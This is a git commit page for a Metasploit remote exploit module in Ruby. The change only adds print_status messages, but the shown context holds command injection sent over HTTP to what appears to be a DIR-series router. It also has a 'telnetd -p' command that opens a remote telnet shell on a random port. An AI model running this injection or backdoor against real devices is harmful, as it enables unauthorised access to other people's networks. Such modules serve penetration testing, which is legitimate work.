Make exploit more print friendly
parent
32436973e4
commit
33ac0c5c3f
|
@ -80,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||||
end
|
end
|
||||||
cmd = "#{payload.encoded}; echo end"
|
cmd = "#{payload.encoded}; echo end"
|
||||||
|
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||||
res = request(cmd)
|
res = request(cmd)
|
||||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
|
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
|
||||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||||
|
@ -99,11 +100,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
def exploit_telnet
|
def exploit_telnet
|
||||||
telnetport = rand(65535)
|
telnetport = rand(65535)
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
|
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
|
||||||
|
|
||||||
cmd = "telnetd -p #{telnetport}"
|
cmd = "telnetd -p #{telnetport}"
|
||||||
|
|
||||||
#starting the telnetd gives no response
|
#starting the telnetd gives no response
|
||||||
|
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||||
request(cmd)
|
request(cmd)
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
|
Loading…
Reference in New Issue